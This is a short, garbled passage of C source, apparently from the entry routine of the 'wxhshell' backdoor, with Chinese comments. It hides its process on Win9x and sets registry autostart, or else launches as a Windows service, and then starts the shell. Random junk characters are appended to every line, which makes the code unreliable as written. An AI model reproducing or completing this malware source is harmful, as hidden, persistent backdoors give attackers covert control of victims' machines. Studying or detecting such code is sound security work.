// 如果时win9x，隐藏进程并且设置为注册表启动 wTD}c1J(
HideProc(); 5rmU9L
StartWxhshell(lpCmdLine); j XH9Pq4
} 3FtL<7B'.
else \_
if(StartFromService()) 9;'#,b*(
// 以服务方式启动 IJ~j(.W
StartServiceCtrlDispatcher(DispatchTable); |RXQ_|
else _!E&%=f
// 普通方式启动 )o<^6Ic%7
StartWxhshell(lpCmdLine); KIcIYCBz
Z+u.LXc|c
return 0; qvLh7]sbK:
}